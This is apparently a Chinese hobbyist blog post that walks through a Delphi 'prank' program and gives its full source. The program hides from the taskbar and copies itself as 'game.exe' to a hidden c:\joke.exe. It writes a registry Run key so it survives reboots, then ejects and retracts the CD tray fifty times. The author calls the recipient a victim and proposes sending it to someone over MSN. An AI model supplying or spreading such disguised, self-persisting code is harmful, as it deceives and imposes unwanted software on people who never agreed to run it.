一个简单的整人程序 长假真漫长阿,老师布置的作业做也做不完。
(高三作业就是多)下午无聊,到网上逛了逛,没有发现有趣的东西。
不知道怎么的突然有了想写一个整人程序的冲动。于是打开了Delphi...写什么呢?
恩,写一个让光驱反复弹出收回的程序吧,呵呵!^_^ 先让程序不在任务栏上出现,
这很容易实现在FormCreate加一句代码
setwindowlon(application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
将visible设为false,隐藏form.接着我们在注册表的启动项里做手脚,
让被害者重启计算机 后都无济于事,呵呵。
reg:=Tregistry.create; reg.rootkey:=HKEY_LOCAL_MACHINE;
if not reg.keyexists('SOFTWARE\joke_leyan') then
//joke_leyan是标记
begin reg.createKey('software\joke_leyan');
reg.openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN', true);
reg.WriteString('joke_leyan','c:\joke.exe');//把程序加载到启动项
end; reg.CloseKey;
接下来我们将程序复制到制定目录
if not fileexists('c:\joke.exe') then begin
showmessage('开个玩笑不要见怪!^_^');
CopyFile(pchar('game.exe'),pchar('c:\joke.exe'),false);//将程序复制到C盘下。
filesetattr('c:\joke.exe',fahidden);
//将程序设为隐藏 end; 最后就要做的就是让光驱反复弹出收回,呵呵,怎样让光驱弹出收回呢?用mciSendString函数,
for i:=1 to 50 do//让光驱反复弹出收回50次,本想设得更大,或者设为死循环,但觉得太狠了,所以作罢。呵呵
begin mciSendString('Set cdaudio door open wait', nil, 0, handle); // 弹出光盘
mciSendString('Set cdaudio door closed wait', nil, 0, handle); //关闭光盘 end; 用这个函数不要忘记在uses语句中增加MMSYSTEM单元。
好了整人程序写完了,到MSN上找个人发出去吧,呵呵!以下是程序清单:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry,MMSYSTEM;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var reg:tregistry;
i:integer;
begin
setwindowlong(application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
if not reg.keyexists('SOFTWARE\joke_leyan') then
begin reg.createKey('software\joke_leyan');
reg.openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',true);
reg.WriteString('joke_leyan','c:\joke.exe');
end;
reg.CloseKey;
if not fileexists('c:\joke.exe') then
begin showmessage('开个玩笑不要见怪!^_^');
CopyFile(pchar('game.exe'),pchar('c:\joke.exe'),false);
filesetattr('c:\joke.exe',fahidden);
end;
for i:=1 to 50 do
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end;
end;
end.
]]>


